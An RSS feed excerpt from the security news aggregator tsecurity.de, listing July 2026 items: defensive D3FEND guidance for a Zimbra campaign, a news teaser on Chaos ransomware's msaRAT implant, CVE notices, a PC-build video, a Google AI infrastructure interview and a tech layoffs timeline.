<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should search for the listed known IOCs. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Process Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank"><u>D3-PA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should search ZCS log files for specific commands used by the malicious script. </li>
<li>Organizations should search the localStorage property in web browsers for the ZCS webmail client for “ZimbraWeb” Application Passcodes. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>Message Analysis</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:MessageAnalysis">D3-MA</a></td>
<td>Organizations that suspect they have victims of this campaign should search for emails with a malicious payload to identify other victims.</td>
</tr>
</tbody>
</table>
</div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Chaos Ransomware Uses msaRAT to Route C2 Traffic Through Headless Chrome and Edge]]></title>
<description><![CDATA[The Chaos ransomware group ran its command-and-control through the victim's own browser. Cisco Talos on Thursday detailed msaRAT, the Rust implant behind it, found on a compromised Windows machine ahead of the encryptor.

The implant never opens an outbound connection of its own. Its process talk...]]></description>
<link>https://tsecurity.de/de/3689403/it-security-nachrichten/chaos-ransomware-uses-msarat-to-route-c2-traffic-through-headless-chrome-and-edge/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689403/it-security-nachrichten/chaos-ransomware-uses-msarat-to-route-c2-traffic-through-headless-chrome-and-edge/</guid>
<pubDate>Thu, 23 Jul 2026 16:57:42 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The Chaos ransomware group ran its command-and-control through the victim's own browser. Cisco Talos on Thursday detailed msaRAT, the Rust implant behind it, found on a compromised Windows machine ahead of the encryptor.

The implant never opens an outbound connection of its own. Its process talks to 127.0.0.1 and nothing else. It starts Chrome or Edge in headless mode and drives the browser]]></content:encoded>
</item>
<item>
<title><![CDATA[[$] An operations structure for swap devices]]></title>
<description><![CDATA[One of the ideas raised at the 2026 Linux
Storage, Filesystem, Memory Management, and BPF Summit (LSFMM+BPF) was
the creation of an
operations structure for the swap subsystem.  Like many parts of the
kernel, the swap layer evolved over time, with pieces being added as
needed; the end result of t...]]></description>
<link>https://tsecurity.de/de/3689355/linux-tipps/an-operations-structure-for-swap-devices/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689355/linux-tipps/an-operations-structure-for-swap-devices/</guid>
<pubDate>Thu, 23 Jul 2026 16:29:33 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[One of the ideas raised at the <a href="https://lwn.net/Articles/lsfmmbpf2026/">2026 Linux
Storage, Filesystem, Memory Management, and BPF Summit</a> (LSFMM+BPF) was
the creation of <a href="https://lwn.net/Articles/1072657/#:~:text=Abstracting%20the%20swap%20backend">an
operations structure</a> for the swap subsystem.  Like many parts of the
kernel, the swap layer evolved over time, with pieces being added as
needed; the end result of this evolution is rarely what one would expect
had the subsystem been designed today.  The interface between the swap
layer and the devices it uses is just one example.  It appears that one
result of the swap subsystem's evolution — the lack of an abstraction layer
to interface with underlying storage — will soon be addressed, but in a
different way than was initially envisioned.]]></content:encoded>
</item>
<item>
<title><![CDATA[The 2026 deadline for the European Digital Identity Wallet is a present reality]]></title>
<description><![CDATA[Author: PQShield - Bewertung: 1x - Views:171 The 2026 deadline for the European Digital Identity Wallet is a present reality rather than a distant goal. 

@Wei Yuan observes that member states are currently under pressure from the European Commission to deploy their solutions. It’s a timeline tha...]]></description>
<link>https://tsecurity.de/de/3689339/videos/the-2026-deadline-for-the-european-digital-identity-wallet-is-a-present-reality/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689339/videos/the-2026-deadline-for-the-european-digital-identity-wallet-is-a-present-reality/</guid>
<pubDate>Thu, 23 Jul 2026 16:20:27 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: PQShield - Bewertung: 1x - Views:171 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/RcPSCWS9Rgk?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>The 2026 deadline for the European Digital Identity Wallet is a present reality rather than a distant goal. <br />
<br />
@Wei Yuan observes that member states are currently under pressure from the European Commission to deploy their solutions. It’s a timeline that requires the industry to move quickly from pilot programs to full production. <br />
<br />
And waiting to address these requirements till the 11th hour increases the risk of missing critical regulatory milestones.<br />
<br />
Tune in to see how the 2026 mandate affects your product development.<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-45443 | add-ons.org PDF for Elementor Forms and Drag and Drop Template Builder Plugin authorization]]></title>
<description><![CDATA[A vulnerability marked as critical has been reported in add-ons.org PDF for Elementor Forms and Drag and Drop Template Builder Plugin up to 5.5.1 on WordPress. This impacts an unknown function. This manipulation causes missing authorization.

The identification of this vulnerability is CVE-2026-4...]]></description>
<link>https://tsecurity.de/de/3689278/sicherheitsluecken/cve-2026-45443-add-onsorg-pdf-for-elementor-forms-and-drag-and-drop-template-builder-plugin-authorization/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689278/sicherheitsluecken/cve-2026-45443-add-onsorg-pdf-for-elementor-forms-and-drag-and-drop-template-builder-plugin-authorization/</guid>
<pubDate>Thu, 23 Jul 2026 16:07:05 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability marked as <a href="https://vuldb.com/kb/risk">critical</a> has been reported in <a href="https://vuldb.com/product/add-ons">add-ons.org PDF for Elementor Forms and Drag and Drop Template Builder Plugin up to 5.5.1</a> on WordPress. This impacts an unknown function. This manipulation causes missing authorization.

The identification of this vulnerability is <a href="https://vuldb.com/cve/CVE-2026-45443">CVE-2026-45443</a>. It is possible to initiate the attack remotely. There is no exploit available.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-21836 | HCL DominoIQ 14.5.1 RAG Feature authorization (KB0130932)]]></title>
<description><![CDATA[A vulnerability has been found in HCL DominoIQ 14.5.1 and classified as problematic. This issue affects some unknown processing of the component RAG Feature. This manipulation causes missing authorization.

This vulnerability is registered as CVE-2026-21836. Remote exploitation of the attack is p...]]></description>
<link>https://tsecurity.de/de/3689277/sicherheitsluecken/cve-2026-21836-hcl-dominoiq-1451-rag-feature-authorization-kb0130932/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689277/sicherheitsluecken/cve-2026-21836-hcl-dominoiq-1451-rag-feature-authorization-kb0130932/</guid>
<pubDate>Thu, 23 Jul 2026 16:06:59 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability has been found in <a href="https://vuldb.com/product/hcl:dominoiq">HCL DominoIQ 14.5.1</a> and classified as <a href="https://vuldb.com/kb/risk">problematic</a>. This issue affects some unknown processing of the component <em>RAG Feature</em>. This manipulation causes missing authorization.

This vulnerability is registered as <a href="https://vuldb.com/cve/CVE-2026-21836">CVE-2026-21836</a>. Remote exploitation of the attack is possible. No exploit is available.]]></content:encoded>
</item>
<item>
<title><![CDATA[PSU Installation & Cable Management Made Easy 🖥️ Part 6: How To Build A PC For Beginners 🎮]]></title>
<description><![CDATA[Author: Shannon Morse - Bewertung: 8x - Views:41 ⚡ It's time to power up the build! In this episode of my Beginner PC Build Series, we're installing the power supply (PSU), connecting motherboard and CPU power, routing SATA cables, and tackling one of the most satisfying parts of any PC build - c...]]></description>
<link>https://tsecurity.de/de/3689194/videos/psu-installation-cable-management-made-easy-part-6-how-to-build-a-pc-for-beginners/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689194/videos/psu-installation-cable-management-made-easy-part-6-how-to-build-a-pc-for-beginners/</guid>
<pubDate>Thu, 23 Jul 2026 15:21:48 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Shannon Morse - Bewertung: 8x - Views:41 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/0paViaFFoek?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>⚡ It's time to power up the build! In this episode of my Beginner PC Build Series, we're installing the power supply (PSU), connecting motherboard and CPU power, routing SATA cables, and tackling one of the most satisfying parts of any PC build - cable management.<br />
<br />
I'll explain what a power supply actually does, why wattage matters, what "fully modular" means, how to identify each cable, and my favorite cable management tips that make future upgrades and troubleshooting much easier.<br />
<br />
Whether you're building your very first gaming PC or just need a refresher, this step-by-step guide will help you wire everything correctly and keep your build clean.<br />
<br />
A huge thank you to ASUS and Kingston for partnering on this PC build series! ❤️<br />
<br />
👍 If you're enjoying the series, don't forget to subscribe so you don't miss the next episode where we install the graphics card and finish wiring the entire system!<br />
<br />
#PCBuild #GamingPC #CableManagement #PCBuilding #PowerSupply #ASUS #Kingston #CustomPC #DIYPC #BeginnerPCBuild<br />
<br />
https://pcpartpicker.com/user/snubsie/saved/#view=Htk84D  <br />
<br />
📺 Watch the Full PC Build Series: https://www.youtube.com/playlist?list=PLeYHKbaShxTHQVUHZfM8_44pjyI9LLzfe<br />
<br />
CPU: AMD Ryzen 9 9950X 4.3 GHz 16-Core Processor ($519.00 @ Amazon)<br />
Amazon: https://amzn.to/3O70PIU<br />
Best Buy: https://bestbuycreators.7tiv.net/YRWkZq<br />
B&H: https://bhpho.to/3PjZZcr<br />
<br />
CPU Cooler: Asus ROG Ryujin III ARGB Extreme 89.73 CFM Liquid CPU Cooler ($389.99 @ Amazon)<br />
Amazon: https://amzn.to/4bkdodD<br />
Best Buy: (similar option) https://bestbuycreators.7tiv.net/DyDM4q<br />
B&H: https://bhpho.to/46EWdR4<br />
<br />
Motherboard: Asus ROG STRIX X870-A GAMING WIFI ATX AM5 Motherboard ($234.99 @ Amazon)<br />
Amazon: https://amzn.to/3NI9tO0<br />
Best Buy: (similar option) https://bestbuycreators.7tiv.net/bORgn6<br />
B&H: https://bhpho.to/4ubyfa7<br />
<br />
Memory: Kingston FURY Beast RGB 64 GB (2 x 32 GB) DDR5-6400 CL32 Memory ($1359.99 @ Newegg - OOS) x 2<br />
Amazon: https://amzn.to/49SZug7<br />
Best Buy: (similar option) https://bestbuycreators.7tiv.net/2anB4G<br />
<br />
Storage: Kingston NV3 2 TB M.2-2280 PCIe 4.0 X4 NVME Solid State Drive ($311.99 @ Amazon)<br />
Amazon: https://amzn.to/4bSOyBO<br />
Best Buy: https://bestbuycreators.7tiv.net/vPeg7N<br />
B&H: https://bhpho.to/4bpm9m9<br />
<br />
Storage: Kingston FURY Renegade G5 2.048 TB M.2-2280 PCIe 5.0 X4 NVME Solid State Drive ($424.99 @ iBUYPOWER)<br />
Amazon: https://amzn.to/4pTv8QB<br />
Best Buy: https://bestbuycreators.7tiv.net/N9AYrN<br />
B&H: https://bhpho.to/40dqbYK<br />
<br />
Video Card: Asus TUF GAMING OC GeForce RTX 5080 16 GB Video Card ($1699.99 @ B&H)<br />
Amazon: https://amzn.to/3NNmKos<br />
Best Buy: https://bestbuycreators.7tiv.net/GKrYLB<br />
B&H: https://bhpho.to/46HyuQb<br />
<br />
Case: Asus A31 ATX Mid Tower Case ($64.98 @ Amazon)<br />
Amazon: https://amzn.to/4bTH8yd<br />
Best Buy: (similar option) https://bestbuycreators.7tiv.net/7a3BZO<br />
B&H: https://bhpho.to/4d3Fyu8<br />
<br />
Power Supply: Asus TUF Gaming 1000G 1000 W 80+ Gold Certified Fully Modular ATX Power Supply ($179.99 @ Amazon)<br />
Amazon: https://amzn.to/4qSDWHG<br />
Best Buy: (similar option) https://bestbuycreators.7tiv.net/LKeYQO<br />
B&H: https://bhpho.to/3N1pqPq<br />
<br />
Case Fan: Asus TUF GAMING TF120 ARGB White 76 CFM 120 mm Fan ($14.99 @ Amazon)<br />
Amazon: https://amzn.to/3YWIbG7<br />
Best Buy: https://bestbuycreators.7tiv.net/QjVx5z<br />
B&H: https://bhpho.to/4uaSzs9<br />
<br />
Case Fan: Asus TUF Gaming TR120 ARGB 77.4 CFM 120 mm Fans 3-Pack ($68.54 @ Amazon)<br />
Amazon: https://amzn.to/4rzKNpN<br />
Best Buy: https://bestbuycreators.7tiv.net/55OBVD<br />
B&H: https://bhpho.to/46KcvYO <br />
<br />
 Turning Cable Chaos Into Cable Management Dreams<br />
00:42 What Does a Power Supply Do?<br />
02:04 Why This Build Uses a 1000W PSU<br />
03:12 Fully Modular Power Supplies Explained <br />
04:10 Identifying Every Power Cable<br />
05:16 Installing the PSU<br />
06:42 Subscribe & Patreon Shoutout<br />
07:33 Connecting the 24-Pin Motherboard Cable<br />
08:36 CPU Power Connectors<br />
09:53 Cable Routing Tips<br />
11:02 SATA Power & Accessories<br />
11:54 Cable Management Basics<br />
13:07 Next Episode Preview<br />
<br />
<br />
Becoming a Morse Code Member by checking out the perks linked here!:<br />
https://www.youtube.com/channel/UCNofX8wmSJh7NTklvMqueOA/join<br />
<br />
Editor: @ColleenEdits<br />
<br />
💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜<br />
<br />
GET IN TOUCH<br />
Mail ✈ <br />
https://shannonrmorse.com/contact <br />
<br />
💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜💜 <br />
<br />
😍 FTC DISCLAIMER 😍<br />
Affiliate links listed above allow me to receive a small commission. Any sponsorships for videos are noted in video and listed in descriptions. Any products provided as gifts are listed above. Thank you for your support!<br />
<br />
Comment section code of conduct policy:<br />
Constructive feedback is appreciated, but please leave unproductive, divisive and harmful conversation at the door. Hateful comments are not tolerated, and these kinds of messages will be automatically removed. Thank you for making this community a welcoming experience for all viewers :)<br />
https://shannonrmorse.com/code-of-conduct<br />
<br />
Code of Ethics:<br />
https://www.morsecodecreative.com/code-of-ethics<br />
<br />
FTC: Links marked with * are affiliate links, which means I make a small commission off any sales.<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[„Ich prompte Claude nicht mehr&quot;: Wie Loop-Engineering das Arbeiten mit KI verändert]]></title>
<description><![CDATA[Du musst KI-Agenten nicht mehr bei jedem Schritt neu prompten: Mit Loops gibst du ihnen Ziele, Feedback und Prüfungen, damit sie selbstständig weiterarbeiten. Wie Loop-Engineering funktioniert – und wie du häufige Fehler vermeidest.
weiterlesen auf t3n.de]]></description>
<link>https://tsecurity.de/de/3689116/it-nachrichten/ich-prompte-claude-nicht-mehrquot-wie-loop-engineering-das-arbeiten-mit-ki-veraendert/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689116/it-nachrichten/ich-prompte-claude-nicht-mehrquot-wie-loop-engineering-das-arbeiten-mit-ki-veraendert/</guid>
<pubDate>Thu, 23 Jul 2026 15:05:54 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Du musst KI-Agenten nicht mehr bei jedem Schritt neu prompten: Mit Loops gibst du ihnen Ziele, Feedback und Prüfungen, damit sie selbstständig weiterarbeiten. Wie Loop-Engineering funktioniert – und wie du häufige Fehler vermeidest.
<a href="https://t3n.de/news/ich-prompte-claude-nicht-mehr-wie-loop-engineering-das-arbeiten-mit-ki-veraendert-1754302/?utm_source=rss&amp;utm_medium=newsFeed&amp;utm_campaign=newsFeed">weiterlesen auf t3n.de</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Q&A: Google’s AI and computing chief talks about its shapeshifting data centers]]></title>
<description><![CDATA[Google’s AI offerings span its internal and cloud offerings. Its data centers are processing seven times more AI tokens compared to last year. To keep up, Google is upgrading its data-center hardware and software technologies at a faster clip. It plans to raise $80 billion to build new data cente...]]></description>
<link>https://tsecurity.de/de/3689101/it-security-nachrichten/qa-googles-ai-and-computing-chief-talks-about-its-shapeshifting-data-centers/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689101/it-security-nachrichten/qa-googles-ai-and-computing-chief-talks-about-its-shapeshifting-data-centers/</guid>
<pubDate>Thu, 23 Jul 2026 14:55:21 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Google’s AI offerings span its internal and cloud offerings. Its data centers are processing seven times more AI tokens compared to last year. To keep up, Google is upgrading its data-center hardware and software technologies at a faster clip. It plans to raise $80 billion to build new data centers. (See related story: <a href="https://www.networkworld.com/article/4200581/google-transforms-its-data-center-architecture-for-agent-era.html">Google transforms its data center architecture for agent era</a>)</p>



<p class="wp-block-paragraph"><em>Network World</em> spoke with <a href="https://www.linkedin.com/in/marklohmeyer/">Mark Lohmeyer</a>, vice president and general manager of AI and computing at Google, about how the company’s infrastructure is keeping pace with AI demand.</p>



<p class="wp-block-paragraph"><strong>Network World: What is the primary shift in infrastructure needs?</strong></p>



<p class="wp-block-paragraph"><strong>Mark Lohmeyer:</strong> We’ve seen the <a href="https://www.networkworld.com/article/4175890/cisco-ai-traffic-is-radically-reshaping-wans.html">rise of agents and agentic use cases</a>. Years ago, it was the chat phase: Ask a question, get an answer. Now we’re in the agentic era, where you express your intent, agents spin off multiple sub-agents, working in parallel, preserving state. This is a radical shift in what infrastructure needs to do; make them fast, cost effective, secure, reliable. We’re delivering infrastructure optimized for the age of agents.</p>



<p class="wp-block-paragraph"><strong>NW: What’s the goal of the infrastructure buildout, and what should customers expect regarding costs?</strong></p>



<p class="wp-block-paragraph"><strong>ML: </strong>Ultimately, it’s about enabling customers with leading-edge capabilities and models at scale cost-effectively. With agents, <a href="https://www.networkworld.com/article/4057121/network-and-cloud-implications-of-agentic-ai.html">inference transactions increase</a> by 50x, 100x versus non-agentic workloads. We’re driving the cost per transaction down exponentially. In our latest platforms, we reduce the cost by almost 2x for the same work. Customers serve twice the number of users at the same cost, directly driving profitability.</p>



<p class="wp-block-paragraph"><strong>NW: How are you addressing energy efficiency?</strong></p>



<p class="wp-block-paragraph"><strong>ML:</strong> Energy is a critical resource, and Google has optimized for years. We design data centers and compute [to drive] high PUE (power usage effectiveness). We introduced <a href="https://www.networkworld.com/article/4149069/why-ai-rack-densities-make-liquid-cooling-nonnegotiable.html">liquid cooling</a> over five years ago, and these latest systems are all liquid cooled. For agentic workloads, CPUs come to the forefront… orchestrating agents, calling tools, doing evaluation loops in reinforcement learning. Our latest Axion-based CPU platform called <a href="https://www.networkworld.com/article/4086182/google-cloud-aims-for-more-cost-effective-arm-computing-with-axion-n4a.html">N4A</a> has energy efficiency and is significantly better than the prior generation and x86 comparables.</p>



<p class="wp-block-paragraph"><strong>NW: How do you think about token efficiency as you build-out systems?</strong></p>



<p class="wp-block-paragraph"><strong>ML:</strong> Performance and efficiency gains are powered by co-design of the model and infrastructure. <a href="https://www.computerworld.com/article/4161990/gemini-enterprise-update-brings-ai-agents-into-collaborative-workflows.html">Gemini</a> is trained on TPUs, primarily served on TPUs with high frontier model capability, in a token and cost-efficient way. This stems from co-design across the full stack.</p>



<p class="wp-block-paragraph"><strong>NW: How do you project what infrastructure will be needed years in advance?</strong></p>



<p class="wp-block-paragraph"><strong>ML:</strong> Hardware cycles deliver a new next generation roughly every year, but design cycles are two years or more in advance. We work with <a href="https://deepmind.google/about/">DeepMind</a> doing core research, to application teams taking models into production, to billions of users, to our team building infrastructure. We work upstream with DeepMind and application teams to understand what’s coming. Agents weren’t being broadly spoken of externally, but internally we had those insights around what they would need. That shows up in hardware design. We hit the timing right — these platforms are built for agents.</p>



<p class="wp-block-paragraph"><strong>NW: What’s the eighth generation TPU platform?</strong></p>



<p class="wp-block-paragraph"><strong>ML:</strong> We deliver new platforms every year, and ones launched years ago are close to 100% utilized because demand for AI-optimized compute is high. The <a href="https://www.networkworld.com/article/4162004/google-bets-on-workload-specific-tpus-with-8t-and-8i-launch.html">eighth-generation TPU platform</a> is the first delivering two complete systems, from the chip all the way up to the network and storage and software, that are optimized.</p>



<p class="wp-block-paragraph"><a href="https://cloud.google.com/blog/products/compute/tpu-8t-and-tpu-8i-technical-deep-dive">TPU-8t</a> is optimized for training, and TPU-8i is optimized for inference. For TPU-8i, we increased SRAM on the chip to 384MB — three times the prior generation — and increased the HBM by 50%.</p>



<p class="wp-block-paragraph"><strong>NW: How are you approaching GPU and TPU compatibility?</strong></p>



<p class="wp-block-paragraph"><strong>ML: </strong>People in a single cluster do not commingle GPUs and TPUs. We offer both options based on specific workload needs. We’ve been investing on the TPU side in using software frameworks customers are comfortable with on GPUs and enabling those on TPUs. For example, <a href="https://www.infoworld.com/article/2335194/what-is-pytorch-python-machine-learning-on-gpus.html">PyTorch</a> and vLLM. Customers could have a pool of GPUs and TPUs, running vLLM on top of that. Start with a workload on TPUs, but if the TPU pool is fully utilized, spill to GPUs or vice versa. This works because it’s all leveraging the same compatible software layer on top.</p>



<p class="wp-block-paragraph"><strong>NW: How has the orchestration platform changed for agents?</strong></p>



<p class="wp-block-paragraph"><strong>ML:</strong> Kubernetes is becoming the orchestration platform of choice for AI. Google is transforming <a href="https://www.infoworld.com/article/2255921/gke-tutorial-get-started-with-google-kubernetes-engine.html">GKE</a> [Google Kubernetes Engine] into an agent-native orchestration solution. When expressing intent to an agent and it spins up multiple sub-agents, compute needs to spin up rapidly — TPUs or GPUs — without long delays, then run and spin back down. We’re optimizing at every layer of the <a href="https://cloud.google.com/kubernetes-engine">GKE stack</a>: significantly improving node startup time and how rapidly we start and stop containers. Lovable demonstrates this with GKE, spinning up hundreds of sandboxes for live coding sessions on their platform in parallel, paying for infrastructure when needed.</p>



<p class="wp-block-paragraph"><strong>NW: What is the role of the network and storage infrastructure?</strong></p>



<p class="wp-block-paragraph"><strong>ML:</strong> The network is critical for AI. This requires creating large-scale clusters of GPUs or TPUs and enabling them to talk to each other in a high-performance way. <a href="https://cloud.google.com/blog/products/networking/introducing-virgo-megascale-data-center-fabric">We created the Virgo network</a> — a collapsed network architecture, non-blocking within a data center, where multiple pods or NVLink72 domains connect together.</p>



<p class="wp-block-paragraph">In TPU8T, we can connect over a million TPUs together leveraging Virgo, creating large-scale, high-performance, reliable clusters that shrink innovation cycles. Storage is equally critical. In large-scale clusters, something is always failing. The ability to take snapshots and go back to a checkpoint is important.</p>



<p class="wp-block-paragraph">We’ve introduced <a href="https://cloud.google.com/products/managed-lustre">Managed Lustre 10T</a>, with 10 terabytes per second of bandwidth, 18 petabytes of storage in single clusters. This is 10 times faster than last year and 20 times faster than competition. We have Rapid Bucket, low-latency storage backed by Google storage systems. Both are impactful in large-scale training environments.</p>



<p class="wp-block-paragraph"><strong>NW: How does KV cache strategy differ between training and inference?</strong></p>



<p class="wp-block-paragraph"><strong>ML:</strong> For <a href="https://blog.google/innovation-and-ai/infrastructure-and-cloud/google-cloud/eighth-generation-tpu-agentic-era/">TPU-8i</a>, we increased SRAM on the chip to 384 megabytes — three times the prior generation — and increased the HBM by 50%. Storing KV cache directly in chip memory allows responding to inference requests much more rapidly and cost-effectively than going to an external system. For inference workloads, storing as much KV cache as possible on-chip is critical.</p>



<p class="wp-block-paragraph">We’re introducing a dedicated KV cache storage subsystem that works across GPUs and TPUs. As KV caches get larger, being able to fall back to this dedicated subsystem becomes critical. Loading model weights rapidly is important in dynamic inference environments where accelerators switch between models hour by hour.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Tech layoffs: A 2026 timeline]]></title>
<description><![CDATA[Among a range of factors leading to a wave of tech sector layoffs in 2026 is the rapid rise of artificial intelligence and automation. Companies are reconfiguring their workforces to leverage AI for increased efficiency and reduced operating costs. This realignment and reduction is implemented ev...]]></description>
<link>https://tsecurity.de/de/3689055/it-nachrichten/tech-layoffs-a-2026-timeline/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689055/it-nachrichten/tech-layoffs-a-2026-timeline/</guid>
<pubDate>Thu, 23 Jul 2026 14:35:03 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Among a range of factors leading to a wave of tech sector layoffs in 2026 is the rapid rise of artificial intelligence and automation. Companies are reconfiguring their workforces to leverage AI for increased efficiency and reduced operating costs. This realignment and reduction is implemented even by companies reporting strong financial performance.</p>



<p class="wp-block-paragraph">But it’s not just AI leading to workforce cuts. Complementing this technological shift are ongoing economic uncertainty, inflation, and higher interest rates, compounded by a chip shortage and rising energy costs. This mix is driving companies to cut costs and streamline operations for increased efficiency.</p>



<p class="wp-block-paragraph">According to data compiled by <a href="https://layoffs.fyi/" target="_blank" rel="noreferrer noopener">Layoffs.fyi</a>, an online tracker that keep tabs on job losses in the technology sector, 123,941 tech employees were laid off at 269 companies in 2025. The site also reports that 71,981 government employees were laid off by DOGE alone, with 182,528 total federal workers laid off.</p>



<p class="wp-block-paragraph">Here is a list — to be updated regularly — of some of the most prominent technology layoffs the industry has experienced recently.</p>



<h2 class="wp-block-heading">Notable tech layoffs in 2026</h2>



<ul class="wp-block-list">
<li>Monday.com</li>



<li>Microsoft</li>



<li>Meta</li>



<li>Cisco</li>



<li>Cloudflare</li>



<li>Oracle</li>



<li>Atlassian </li>



<li>Salesforce</li>



<li>Amazon</li>



<li>Ericsson</li>
</ul>



<h3 class="wp-block-heading">July 22, 2026: Monday.com cuts 20% of its workforce to restructure for the AI era</h3>



<p class="wp-block-paragraph">The company says the decision to <a href="https://www.computerworld.com/article/4200349/monday-com-cuts-20-of-its-workforce-to-restructure-for-the-ai-era-2.html">cut 620 jobs</a> isn’t about margins, but about creating a flatter organization built around AI agents, autonomous teams, and deeper customer engagement.</p>



<h3 class="wp-block-heading">July 6, 2026: Microsoft cuts 4,800 jobs, primarily in sales and Xbox teams</h3>



<p class="wp-block-paragraph">As the company <a href="https://www.computerworld.com/article/4193532/microsoft-bets-that-enterprise-ai-needs-engineers-not-bigger-sales-teams-2.html" target="_blank">trims thousands of jobs</a>, it’s also investing in embedded engineering teams and AI infrastructure. The layoffs come several weeks after the company offered 8,750 US employees <a href="https://www.computerworld.com/article/4163188/microsoft-to-offer-voluntary-retirement-buyouts-to-about-7-of-the-us-workforce.html">voluntary retirement buyouts</a>.</p>



<h3 class="wp-block-heading">June 5, 2026: Tech industry cut 38,242 jobs in May, worst since 2024</h3>



<p class="wp-block-paragraph">AI was blamed for 40% of <a href="https://www.computerworld.com/article/4181822/tech-industry-cut-38242-jobs-in-may-worst-since-2024.html">the job cuts in May</a>, up from 7% in January, according to research by employment placement company Challenger, Gray &amp; Christmas.</p>



<h3 class="wp-block-heading">May 20, 2026: Meta cuts 8,000 jobs, around 10% of workforce</h3>



<p class="wp-block-paragraph">The cuts are expected to expected to hit Meta’s engineering and product teams the hardest, arriving as Meta pivots toward AI to boost efficiency across its organization, <a href="https://tech.yahoo.com/general/article/meta-starts-cutting-8000-jobs-as-part-of-previously-announced-layoffs-145220586.html" target="_blank" rel="noreferrer noopener">according to Yahoo Tech</a>.</p>



<h3 class="wp-block-heading">May 13, 2026: Cisco to cut nearly 4,000 jobs despite strong growth in AI, enterprise networking</h3>



<p class="wp-block-paragraph">Despite reporting positive financial news — including record third-quarter revenue of $15.8 billion, a 12% year-over-year increase — Cisco said it will <a href="https://www.networkworld.com/article/4171043/cisco-to-cut-nearly-4000-jobs-despite-strong-growth-in-ai-enterprise-networking.html" target="_blank">eliminate almost 4,000 jobs</a>.</p>



<h3 class="wp-block-heading">May 7, 2026: Cloudflare to cut 1,100 jobs in AI-focused restructuring</h3>



<p class="wp-block-paragraph">About <a href="https://finance.yahoo.com/markets/stocks/articles/cloudflare-cut-over-1-100-204726989.html" target="_blank" rel="noreferrer noopener">20% of Cloudflare’s global workforce will be culled</a> as the company pivots for the agentic AI era, Reuters reported.</p>



<h3 class="wp-block-heading">April 1, 2026: Oracle to cut up to 30,000 jobs globally, putting enterprise support and roadmaps at risk</h3>



<p class="wp-block-paragraph"><a href="https://www.cio.com/article/4153113/oracle-cuts-up-to-30000-jobs-globally-putting-enterprise-support-and-roadmaps-at-risk.html">Oracle began laying off employees</a> on March 31 in what could be the largest workforce reduction in the company’s history. Employees received termination emails at 6 a.m. local time with immediate system lockouts and no prior warning. <em>(Note: in June, CNBC put the <a href="https://www.cnbc.com/2026/06/23/oracle-ai-job-cuts-layoffs-21000.html" target="_blank" rel="noreferrer noopener">final layoff tally at 21,000</a>.)</em></p>



<h3 class="wp-block-heading">March 12, 2026: Atlassian cuts 1,600 jobs to fund AI and enterprise expansion</h3>



